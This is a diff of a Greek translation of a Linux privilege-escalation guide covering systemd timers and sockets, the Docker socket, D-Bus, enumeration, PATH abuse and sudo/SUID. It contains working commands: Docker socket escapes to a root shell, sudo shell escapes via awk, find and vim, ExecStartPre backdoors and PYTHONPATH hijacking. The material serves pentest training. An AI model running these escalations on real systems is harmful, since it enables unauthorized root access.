"uptux-vuln-bin3 -stuff -hello" ``` -Στη συνέχεια, δημιούργησε ένα **εκτελέσιμο** με το **ίδιο όνομα με το binary της σχετικής διαδρομής** μέσα στον systemd PATH φάκελο στον οποίο μπορείς να γράψεις, και όταν η υπηρεσία ζητηθεί να εκτελέσει την ευπαθή ενέργεια (**Start**, **Stop**, **Reload**), το **backdoor** σου θα εκτελεστεί (οι μη προνομιούχοι χρήστες συνήθως δεν μπορούν να ξεκινήσουν/σταματήσουν υπηρεσίες αλλά έλεγξε αν μπορείς να χρησιμοποιήσεις `sudo -l`). +Στη συνέχεια, δημιούργησε ένα **εκτελέσιμο** με το **ίδιο όνομα με το binary της σχετικής διαδρομής** μέσα στο φάκελο PATH του systemd που μπορείς να γράψεις, και όταν η υπηρεσία ζητηθεί να εκτελέσει την ευπαθή ενέργεια (**Start**, **Stop**, **Reload**), το **backdoor σου θα εκτελεστεί** (συνήθως οι μη προνομιούχοι χρήστες δεν μπορούν να ξεκινήσουν/σταματήσουν υπηρεσίες αλλά έλεγξε αν μπορείς να χρησιμοποιήσεις `sudo -l`). **Μάθε περισσότερα για τις υπηρεσίες με `man systemd.service`.** ## **Timers** -Τα **Timers** είναι αρχεία μονάδων systemd των οποίων το όνομα τελειώνει σε `**.timer**` που ελέγχουν `**.service**` αρχεία ή γεγονότα. Τα **Timers** μπορούν να χρησιμοποιηθούν ως εναλλακτική στο cron καθώς έχουν ενσωματωμένη υποστήριξη για γεγονότα ημερολογιακού χρόνου και μονοτονικά χρονικά γεγονότα και μπορούν να τρέξουν ασύγχρονα. +**Timers** είναι αρχεία μονάδων systemd των οποίων το όνομα τελειώνει σε `**.timer**` που ελέγχουν αρχεία ή γεγονότα `**.service**`. Οι **Timers** μπορούν να χρησιμοποιηθούν ως εναλλακτική του cron καθώς έχουν ενσωματωμένη υποστήριξη για γεγονότα χρόνου ημερολογίου και μονοτονικά γεγονότα χρόνου και μπορούν να τρέξουν ασύγχρονα. -Μπορείς να απαριθμήσεις όλα τα timers με: +Μπορείς να απαριθμήσεις όλους τους timers με: ```bash systemctl list-timers --all ``` -### Timers με δυνατότητα εγγραφής +### Writable timers -Αν μπορείς να τροποποιήσεις έναν timer, μπορείς να τον κάνεις να εκτελέσει κάποια υπάρχοντα του systemd.unit (όπως ένα `.service` ή ένα `.target`) +Εάν μπορείτε να τροποποιήσετε ένα timer, μπορείτε να τον κάνετε να εκτελέσει κάποιες υπάρχουσες μονάδες του systemd.unit (όπως μια `.service` ή μια `.target`) ```bash Unit=backdoor.service ``` -Στην τεκμηρίωση μπορείτε να διαβάσετε τι είναι το Unit: +Στην τεκμηρίωση μπορείτε να διαβάσετε τι είναι η μονάδα: -> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. +> Η μονάδα που θα ενεργοποιηθεί όταν αυτός ο timer λήξει. Το όρισμα είναι ένα όνομα μονάδας, του οποίου η κατάληξη δεν είναι ".timer". Εάν δεν καθοριστεί, αυτή η τιμή προεπιλέγεται σε μια service που έχει το ίδιο όνομα με τη μονάδα timer, εκτός από την κατάληξη. (Βλ. παραπάνω.) Συνίσταται το όνομα της μονάδας που ενεργοποιείται και το όνομα της μονάδας timer να έχουν το ίδιο όνομα, εκτός από την κατάληξη. -Επομένως, για να καταχραστείτε αυτή την άδεια θα χρειαστεί να: +Συνεπώς, για να εκμεταλλευτείτε αυτήν την άδεια θα χρειαστεί να: -- Βρείτε κάποιο systemd unit (όπως μια `.service`) που είναι **εκτελώντας ένα writable binary** -- Βρείτε κάποιο systemd unit που είναι **εκτελώντας ένα relative path** και έχετε **writable privileges** επί του **systemd PATH** (για να μιμηθείτε εκείνο το executable) +- Βρείτε κάποια μονάδα systemd (όπως `.service`) που **εκτελεί ένα writable binary** +- Βρείτε κάποια μονάδα systemd που **εκτελεί σχετική διαδρομή** και έχετε **προνόμια εγγραφής** πάνω στο **systemd PATH** (για να μιμηθείτε το εκτελέσιμο) -**Μάθετε περισσότερα για τα timers με `man systemd.timer`.** +**Μάθετε περισσότερα για τους timers με `man systemd.timer`.** ### **Ενεργοποίηση Timer** -Για να ενεργοποιήσετε ένα timer χρειάζεστε δικαιώματα root και να εκτελέσετε: +Για να ενεργοποιήσετε έναν timer χρειάζεστε δικαιώματα root και να εκτελέσετε: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Σημειώστε ότι ο **timer** **ενεργοποιείται** με τη δημιουργία ενός symlink προς αυτόν στο `/etc/systemd/system/.wants/.timer` +Σημειώστε ότι ο **timer** **ενεργοποιείται** δημιουργώντας ένα symlink προς αυτόν στο `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) επιτρέπουν την **επικοινωνία διεργασιών** στην ίδια ή σε διαφορετικές μηχανές σε μοντέλα client-server. Χρησιμοποιούν τυπικά Unix descriptor αρχεία για επικοινωνία μεταξύ υπολογιστών και ρυθμίζονται μέσω `.socket` αρχείων. +Τα Unix Domain Sockets (UDS) επιτρέπουν την **επικοινωνία διεργασιών** στο ίδιο ή σε διαφορετικά μηχανήματα μέσα σε μοντέλα client-server. Χρησιμοποιούν τα τυπικά Unix descriptor αρχεία για επικοινωνία μεταξύ υπολογιστών και ρυθμίζονται μέσω αρχείων `.socket`. -Sockets μπορούν να διαμορφωθούν χρησιμοποιώντας αρχεία `.socket`. +Sockets μπορούν να ρυθμιστούν χρησιμοποιώντας αρχεία `.socket`. -**Μάθετε περισσότερα για τα sockets με `man systemd.socket`.** Σε αυτό το αρχείο μπορούν να ρυθμιστούν διάφορες ενδιαφέρουσες παράμετροι: +**Μάθετε περισσότερα για τα sockets με `man systemd.socket`.** Μέσα σε αυτό το αρχείο, μπορούν να ρυθμιστούν αρκετές ενδιαφέρουσες παράμετροι: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές διαφέρουν αλλά συνοπτικά χρησιμοποιούνται για να **υποδείξουν πού θα ακούει** το socket (η διαδρομή του AF_UNIX socket αρχείου, την IPv4/6 και/ή τον αριθμό θύρας για ακρόαση, κ.λπ.) -- `Accept`: Δέχεται boolean επιχείρημα. Αν είναι **true**, μια **instantiation υπηρεσίας δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο το connection socket περνάει σε αυτή. Αν είναι **false**, όλα τα listening sockets οι ίδιοι **περνάνε στη ξεκινώμενη service unit**, και μόνο μία service unit δημιουργείται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για datagram sockets και FIFOs όπου μία μοναδική service unit χειρίζεται αναγκαστικά όλη την εισερχόμενη κίνηση. **Προεπιλογή false**. Για λόγους απόδοσης, συνιστάται οι νέοι daemons να γράφονται με τρόπο κατάλληλο για `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Δέχονται μία ή περισσότερες εντολές, οι οποίες **εκτελούνται πριν** ή **μετά** τα listening **sockets**/FIFOs **δημιουργηθούν** και δεθούν, αντίστοιχα. Το πρώτο token της γραμμής εντολής πρέπει να είναι απόλυτο όνομα αρχείου, ακολουθούμενο από τα ορίσματα για τη διεργασία. -- `ExecStopPre`, `ExecStopPost`: Πρόσθετες **εντολές** που **εκτελούνται πριν** ή **μετά** τα listening **sockets**/FIFOs **κλείσουν** και αφαιρεθούν, αντίστοιχα. -- `Service`: Προσδιορίζει το όνομα της **service** unit που θα **ενεργοποιηθεί** επί **εισερχόμενης κίνησης**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Εξ ορισμού αναφέρεται στην υπηρεσία που φέρει το ίδιο όνομα με το socket (με την κατάλληλη αντικατάσταση καταλήξεων). Στις περισσότερες περιπτώσεις δεν είναι απαραίτητο να χρησιμοποιήσετε αυτή την επιλογή. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές διαφέρουν αλλά συνοπτικά χρησιμοποιούνται για να **υποδείξουν πού θα ακούει** το socket (η διαδρομή του AF_UNIX socket αρχείου, η διεύθυνση IPv4/6 και/ή ο αριθμός θύρας για ακρόαση, κ.λπ.) +- `Accept`: Παίρνει μια boolean παράμετρο. Αν είναι **true**, ένα **service instance δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο το socket της σύνδεσης περνάει σε αυτό. Αν είναι **false**, όλα τα listening sockets παραδίδονται στο ξεκινώμενο service unit, και μόνο ένα service unit δημιουργείται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για datagram sockets και FIFOs όπου ένα ενιαίο service unit χειρίζεται απαραιτήτως όλη την εισερχόμενη κίνηση. **Προεπιλογή false**. Για λόγους απόδοσης, συνιστάται οι νέοι daemons να γράφονται με τρόπο κατάλληλο για `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Παίρνουν μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τα listening **sockets**/FIFOs **δημιουργηθούν** και δεθούν, αντίστοιχα. Το πρώτο token της γραμμής εντολής πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από επιχειρήματα για τη διεργασία. +- `ExecStopPre`, `ExecStopPost`: Επιπλέον **εντολές** που **εκτελούνται πριν** ή **μετά** τα listening **sockets**/FIFOs **κλείσουν** και αφαιρεθούν, αντίστοιχα. +- `Service`: Καθορίζει το όνομα του **service** unit που θα **ενεργοποιηθεί** σε **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με `Accept=no`. Προκαθορίζεται στο service που φέρει το ίδιο όνομα με το socket (με το κατάλληλο επίθημα αντικατασταμένο). Στις περισσότερες περιπτώσεις δεν είναι απαραίτητο να χρησιμοποιηθεί αυτή η επιλογή. ### Εγγράψιμα .socket αρχεία -Αν βρείτε ένα **εγγράψιμο** `.socket` αρχείο μπορείτε να **προσθέσετε** στην αρχή της ενότητας `[Socket]` κάτι σαν: `ExecStartPre=/home/kali/sys/backdoor` και το backdoor θα εκτελεστεί πριν το socket δημιουργηθεί. Επομένως, **πιθανότατα θα χρειαστεί να περιμένετε μέχρι να γίνει reboot του μηχανήματος.**\ -_Σημειώστε ότι το σύστημα πρέπει να χρησιμοποιεί αυτή τη διαμόρφωση socket αρχείου αλλιώς το backdoor δεν θα εκτελεστεί_ +Αν βρείτε ένα **εγγράψιμο** αρχείο `.socket` μπορείτε να **προσθέσετε** στην αρχή της ενότητας `[Socket]` κάτι σαν: `ExecStartPre=/home/kali/sys/backdoor` και το backdoor θα εκτελεστεί πριν το socket δημιουργηθεί. Συνεπώς, **πιθανότατα θα χρειαστεί να περιμένετε μέχρι να γίνει reboot το μηχάνημα.**\ +_Σημειώστε ότι το σύστημα πρέπει να χρησιμοποιεί αυτή τη διαμόρφωση του socket αρχείου αλλιώς το backdoor δεν θα εκτελεστεί_ ### Εγγράψιμα sockets -Αν **εντοπίσετε οποιοδήποτε εγγράψιμο socket** (_εδώ μιλάμε για Unix Sockets και όχι για τα config `.socket` αρχεία_), τότε **μπορείτε να επικοινωνήσετε** με αυτό το socket και ίσως να εκμεταλλευτείτε κάποια ευπάθεια. +Αν **εντοπίσετε κάποιο εγγράψιμο socket** (_τώρα μιλάμε για Unix Sockets και όχι για τα config αρχεία `.socket`_), τότε **μπορείτε να επικοινωνήσετε** με αυτό το socket και ίσως να εκμεταλλευτείτε κάποια ευπάθεια. -### Απαρίθμηση Unix Sockets +### Εντοπισμός Unix Sockets ```bash netstat -a -p --unix ``` @@ -475,7 +496,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Παράδειγμα εκμετάλλευσης:** +**Exploitation example:** {{#ref}} @@ -484,28 +505,28 @@ socket-command-injection.md ### HTTP sockets -Σημειώστε ότι μπορεί να υπάρχουν μερικά **sockets listening for HTTP** requests (_Δεν αναφέρομαι σε .socket files αλλά στα αρχεία που λειτουργούν ως unix sockets_). Μπορείτε να το ελέγξετε με: +Λάβετε υπόψη ότι μπορεί να υπάρχουν κάποια **sockets listening for HTTP** requests (_δεν αναφέρομαι σε .socket αρχεία αλλά στα αρχεία που λειτουργούν ως unix sockets_). Μπορείτε να το ελέγξετε με: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Εάν το socket **απαντά σε αίτηση HTTP**, τότε μπορείτε να **επικοινωνήσετε** μαζί του και ίσως να **εκμεταλλευτείτε κάποια ευπάθεια**. +Αν το socket **απαντά σε HTTP** αίτημα, τότε μπορείτε να **επικοινωνήσετε** μαζί του και ίσως να **exploit κάποια ευπάθεια**. -### Εγγράψιμο Docker Socket +### Docker socket με δυνατότητα εγγραφής -Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που πρέπει να ασφαλιστεί. Από προεπιλογή, είναι εγγράψιμο από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή πρόσβασης εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε privilege escalation. Ακολουθεί μια ανάλυση του πώς αυτό μπορεί να γίνει και εναλλακτικές μέθοδοι εάν το Docker CLI δεν είναι διαθέσιμο. +Το Docker socket, συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που πρέπει να ασφαλιστεί. Δια προεπιλογής, είναι εγγράψιμο από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η ύπαρξη πρόσβασης εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε privilege escalation. Ακολουθεί μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι αν το Docker CLI δεν είναι διαθέσιμο. #### **Privilege Escalation with Docker CLI** -Αν έχετε δικαίωμα εγγραφής στο Docker socket, μπορείτε να escalate privileges χρησιμοποιώντας τις παρακάτω εντολές: +If you have write access to the Docker socket, you can escalate privileges using the following commands: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Αυτές οι εντολές σας επιτρέπουν να τρέξετε ένα container με πρόσβαση επιπέδου root στο file system του host. +Αυτές οι εντολές σας επιτρέπουν να εκτελέσετε ένα container με πρόσβαση επιπέδου root στο σύστημα αρχείων του host. -#### **Using Docker API Directly** +#### **Χρήση του Docker API απευθείας** -Σε περιπτώσεις όπου το Docker CLI δεν είναι διαθέσιμο, το Docker socket μπορεί ακόμα να χειριστεί μέσω του Docker API και εντολών `curl`. +Σε περιπτώσεις όπου το Docker CLI δεν είναι διαθέσιμο, το docker socket μπορεί ακόμα να χειριστείται χρησιμοποιώντας το Docker API και εντολές `curl`. 1. **List Docker Images:** Retrieve the list of available images. @@ -535,11 +556,11 @@ Connection: Upgrade Upgrade: tcp ``` -Αφού δημιουργήσετε τη σύνδεση με `socat`, μπορείτε να εκτελέσετε εντολές απευθείας στο container με πρόσβαση επιπέδου root στο σύστημα αρχείων του host. +Αφού ρυθμίσετε τη σύνδεση `socat`, μπορείτε να εκτελέσετε εντολές απευθείας στο container με πρόσβαση επιπέδου root στο σύστημα αρχείων του host. -### Others +### Άλλα -Σημειώστε ότι αν έχετε δικαιώματα εγγραφής πάνω στο docker socket επειδή είστε **inside the group `docker`** έχετε [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Σημειώστε ότι αν έχετε δικαιώματα εγγραφής στο docker socket επειδή βρίσκεστε **μέσα στην ομάδα `docker`** έχετε [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Εάν η [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). Check **more ways to break out from docker or abuse it to escalate privileges** in: @@ -550,7 +571,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: +Αν διαπιστώσετε ότι μπορείτε να χρησιμοποιήσετε την εντολή **`ctr`** διαβάστε την επόμενη σελίδα καθώς **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -559,7 +580,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: +Αν διαπιστώσετε ότι μπορείτε να χρησιμοποιήσετε την εντολή **`runc`** διαβάστε την επόμενη σελίδα καθώς **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -568,15 +589,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus είναι ένα εξελιγμένο σύστημα inter-Process Communication (IPC) που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα αποδοτικά. Σχεδιασμένο με γνώμονα το σύγχρονο Linux σύστημα, προσφέρει ένα στιβαρό πλαίσιο για διάφορες μορφές επικοινωνίας μεταξύ εφαρμογών. +D-Bus είναι ένα προηγμένο σύστημα inter-Process Communication (IPC) που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα αποτελεσματικά. Σχεδιασμένο για το σύγχρονο Linux σύστημα, προσφέρει ένα ισχυρό πλαίσιο για διάφορες μορφές επικοινωνίας μεταξύ εφαρμογών. -Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που βελτιώνει την ανταλλαγή δεδομένων μεταξύ διεργασιών, παρόμοιο με τα ενισχυμένα UNIX domain sockets. Επιπλέον, βοηθά στην εκπομπή γεγονότων ή σημάτων, διευκολύνοντας την ομαλή ενσωμάτωση μεταξύ των συστατικών του συστήματος. Για παράδειγμα, ένα σήμα από έναν Bluetooth daemon για εισερχόμενη κλήση μπορεί να κάνει έναν music player να μπει σε σίγαση, βελτιώνοντας την εμπειρία χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα remote object system, απλοποιώντας τα αιτήματα υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, ρυθμίζοντας διαδικασίες που παραδοσιακά ήταν περίπλοκες. +Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που βελτιώνει την ανταλλαγή δεδομένων μεταξύ διαδικασιών, θυμίζοντας τις ενισχυμένες UNIX domain sockets. Επιπλέον, βοηθά στη μετάδοση γεγονότων ή σημάτων, προάγοντας την απρόσκοπτη ενσωμάτωση μεταξύ συστατικών του συστήματος. Για παράδειγμα, ένα σήμα από έναν Bluetooth daemon για εισερχόμενη κλήση μπορεί να οδηγήσει ένα music player να κάνει mute, βελτιώνοντας την εμπειρία χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα remote object system, απλοποιώντας αιτήματα υπηρεσιών και κλήσεις μεθόδων μεταξύ εφαρμογών, καθιστώντας πιο απλές διαδικασίες που παραδοσιακά ήταν πολύπλοκες. -Το D-Bus λειτουργεί με ένα μοντέλο allow/deny, διαχειριζόμενο τα δικαιώματα μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων, κ.λπ.) βάσει του συνολικού αποτελέσματος των κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές καθορίζουν τις επιτρεπόμενες αλληλεπιδράσεις με το bus και ενδεχομένως μπορούν να οδηγήσουν σε privilege escalation μέσω της εκμετάλλευσης αυτών των δικαιωμάτων. +Το D-Bus λειτουργεί με ένα allow/deny μοντέλο, διαχειριζόμενο τα δικαιώματα μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κ.λπ.) βάσει του σωρευτικού αποτελέσματος κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές ορίζουν τις αλληλεπιδράσεις με το bus, και ενδέχεται να επιτρέπουν privilege escalation μέσω της εκμετάλλευσης αυτών των αδειών. -Παράδειγμα τέτοιας πολιτικής στο `/etc/dbus-1/system.d/wpa_supplicant.conf` παρέχεται, περιγράφοντας δικαιώματα για το χρήστη root να έχει ιδιοκτησία, να στέλνει και να λαμβάνει μηνύματα από `fi.w1.wpa_supplicant1`. +Παρατίθεται ένα παράδειγμα τέτοιας πολιτικής στο `/etc/dbus-1/system.d/wpa_supplicant.conf`, που περιγράφει δικαιώματα για τον χρήστη root να είναι owner, να στέλνει και να λαμβάνει μηνύματα από το `fi.w1.wpa_supplicant1`. -Πολιτικές χωρίς καθορισμένο χρήστη ή ομάδα εφαρμόζονται καθολικά, ενώ οι πολιτικές στο πλαίσιο "default" εφαρμόζονται σε όλους όσους δεν καλύπτονται από άλλες συγκεκριμένες πολιτικές. +Οι πολιτικές χωρίς καθορισμένο χρήστη ή ομάδα εφαρμόζονται καθολικά, ενώ οι πολιτικές με το "default" context εφαρμόζονται σε όλους τους υπόλοιπους που δεν καλύπτονται από άλλες συγκεκριμένες πολιτικές. ```xml @@ -585,7 +606,7 @@ D-Bus είναι ένα εξελιγμένο σύστημα inter-Process Commun ``` -**Μάθετε πώς να enumerate και να exploit μια D-Bus επικοινωνία εδώ:** +**Μάθετε πώς να enumerate και exploit μια D-Bus communication εδώ:** {{#ref}} @@ -594,7 +615,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Δίκτυο** -Είναι πάντα ενδιαφέρον να enumerate το δίκτυο και να προσδιορίσετε τη θέση της μηχανής. +Είναι πάντα ενδιαφέρον να enumerate το δίκτυο και να προσδιορίσετε τη θέση του μηχανήματος. ### Γενική enumeration ```bash @@ -621,22 +642,22 @@ lsof -i ``` ### Ανοιχτές θύρες -Ελέγξτε πάντα τις υπηρεσίες δικτύου που τρέχουν στη μηχανή και με τις οποίες δεν μπορέσατε να αλληλεπιδράσετε πριν αποκτήσετε πρόσβαση σε αυτήν: +Ελέγξτε πάντα τις υπηρεσίες δικτύου που τρέχουν στη μηχανή με την οποία δεν μπορέσατε να αλληλεπιδράσετε πριν αποκτήσετε πρόσβαση σε αυτή: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Ελέγξτε αν μπορείτε να sniff traffic. Αν μπορείτε, ίσως να μπορέσετε να grab some credentials. +Ελέγξτε αν μπορείτε να sniff traffic. Αν μπορείτε, ίσως καταφέρετε να αποκτήσετε credentials. ``` timeout 1 tcpdump ``` -## Users +## Χρήστες -### Generic Enumeration +### Γενική καταγραφή -Ελέγξτε **who** είστε, ποιες **privileges** έχετε, ποιοι **users** υπάρχουν στο σύστημα, ποιοι μπορούν να **login** και ποιοι έχουν **root privileges:** +Ελέγξτε **who** είστε, ποιες **privileges** έχετε, ποιοι **users** υπάρχουν στα **systems**, ποιοι μπορούν να κάνουν **login** και ποιοι έχουν **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -660,12 +681,12 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -Κάποιες εκδόσεις του Linux επηρεάστηκαν από ένα bug που επιτρέπει σε χρήστες με **UID > INT_MAX** να αποκτήσουν αυξημένα προνόμια. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Εκμεταλλεύσου το** χρησιμοποιώντας: **`systemd-run -t /bin/bash`** +Κάποιες εκδόσεις του Linux επηρεάστηκαν από ένα bug που επιτρέπει σε χρήστες με **UID > INT_MAX** να αναβαθμίσουν τα προνόμιά τους. Περισσότερες πληροφορίες: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) και [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Εκμεταλλευτείτε το** χρησιμοποιώντας: **`systemd-run -t /bin/bash`** ### Ομάδες -Ελέγξτε αν είστε **μέλος κάποιας ομάδας** που θα μπορούσε να σας δώσει root προνόμια: +Ελέγξτε αν είστε **μέλος κάποιας ομάδας** που θα μπορούσε να σας παραχωρήσει προνόμια root: {{#ref}} @@ -691,27 +712,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Γνωστοί κωδικοί πρόσβασης -Εάν **γνωρίζετε οποιονδήποτε κωδικό πρόσβασης** του περιβάλλοντος **δοκιμάστε να συνδεθείτε ως κάθε χρήστης** χρησιμοποιώντας τον κωδικό. +Αν **γνωρίζετε κάποιον κωδικό** του περιβάλλοντος **δοκιμάστε να συνδεθείτε ως κάθε χρήστης** χρησιμοποιώντας τον κωδικό. ### Su Brute -Αν δεν σας πειράζει να προκαλέσετε πολύ θόρυβο και τα binaries `su` και `timeout` είναι παρόντα στον υπολογιστή, μπορείτε να προσπαθήσετε να brute-force έναν χρήστη χρησιμοποιώντας [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) με την παράμετρο `-a` προσπαθεί επίσης να brute-force χρήστες. +Αν δεν σας πειράζει να κάνετε πολύ θόρυβο και τα δυαδικά `su` και `timeout` είναι παρόντα στον υπολογιστή, μπορείτε να προσπαθήσετε να κάνετε brute-force χρήστη χρησιμοποιώντας [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) με την παράμετρο `-a` προσπαθεί επίσης να κάνει brute-force σε χρήστες. -## Καταχρήσεις εγγράψιμου PATH +## Καταχρήσεις εγγράψιμων καταλόγων στο $PATH ### $PATH -Εάν διαπιστώσετε ότι μπορείτε να **γράψετε μέσα σε κάποιο φάκελο του $PATH** ίσως να μπορείτε να ανεβείτε δικαιώματα δημιουργώντας ένα **backdoor μέσα στον εγγράψιμο φάκελο** με το όνομα κάποιας εντολής που πρόκειται να εκτελεστεί από διαφορετικό χρήστη (root ιδανικά) και που **δεν φορτώνεται από φάκελο που προηγείται** του εγγράψιμου φακέλου σας στο $PATH. +Αν διαπιστώσετε ότι μπορείτε να **γράψετε σε κάποιον φάκελο του $PATH** μπορεί να είστε σε θέση να ανεβάσετε προνόμια δημιουργώντας **ένα backdoor μέσα στον εγγράψιμο φάκελο** με το όνομα μιας εντολής που πρόκειται να εκτελεστεί από διαφορετικό χρήστη (ιδανικά root) και που **δεν φορτώνεται από φάκελο που βρίσκεται πριν** από τον εγγράψιμο φάκελό σας στο $PATH. ### SUDO and SUID -Μπορεί να σας επιτρέπεται να εκτελέσετε κάποια εντολή χρησιμοποιώντας sudo ή κάποιες εντολές να έχουν το suid bit. Ελέγξτε το χρησιμοποιώντας: +Μπορεί να σας επιτρέπεται να εκτελέσετε κάποια εντολή μέσω sudo ή κάποιες εντολές να έχουν το suid bit. Ελέγξτε το χρησιμοποιώντας: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Ορισμένες **απρόσμενες εντολές σας επιτρέπουν να διαβάσετε και/ή να γράψετε αρχεία ή ακόμα και να εκτελέσετε μια εντολή.** Για παράδειγμα: +Ορισμένες **απρόβλεπτες εντολές σας επιτρέπουν να διαβάσετε και/ή να γράψετε αρχεία ή ακόμη και να εκτελέσετε μια εντολή.** Για παράδειγμα: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -722,31 +743,31 @@ less>! ``` ### NOPASSWD -Η ρύθμιση του Sudo μπορεί να επιτρέπει σε έναν χρήστη να εκτελέσει κάποια εντολή με τα προνόμια άλλου χρήστη χωρίς να γνωρίζει τον κωδικό πρόσβασης. +Η διαμόρφωση του Sudo μπορεί να επιτρέψει σε έναν χρήστη να εκτελέσει μια εντολή με τα προνόμια άλλου χρήστη χωρίς να γνωρίζει τον κωδικό πρόσβασης. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Σε αυτό το παράδειγμα, ο χρήστης `demo` μπορεί να εκτελέσει το `vim` ως `root`. Είναι πλέον απλό να αποκτήσει κανείς ένα shell προσθέτοντας ένα ssh key στον κατάλογο του `root` ή καλώντας `sh`. +Σε αυτό το παράδειγμα ο χρήστης `demo` μπορεί να εκτελέσει το `vim` ως `root`. Είναι πλέον εύκολο να αποκτήσει κανείς ένα shell προσθέτοντας ένα ssh key στο root directory ή καλώντας `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Αυτή η οδηγία επιτρέπει στον χρήστη να **ορίσει μια μεταβλητή περιβάλλοντος** ενώ εκτελεί κάτι: +Αυτή η οδηγία επιτρέπει στον χρήστη να **ορίσει μια μεταβλητή περιβάλλοντος** κατά την εκτέλεση κάποιου προγράμματος: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Αυτό το παράδειγμα, **βασισμένο στην HTB machine Admirer**, ήταν **ευάλωτο** σε **PYTHONPATH hijacking** για να φορτώσει μια αυθαίρετη python βιβλιοθήκη ενώ εκτελούσε το script ως root: +Αυτό το παράδειγμα, **βασισμένο στο HTB machine Admirer**, ήταν **ευάλωτο** σε **PYTHONPATH hijacking** για να φορτώσει μια αυθαίρετη python βιβλιοθήκη ενώ εκτελούσε το script ως root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Παρακάμπτοντας μονοπάτια 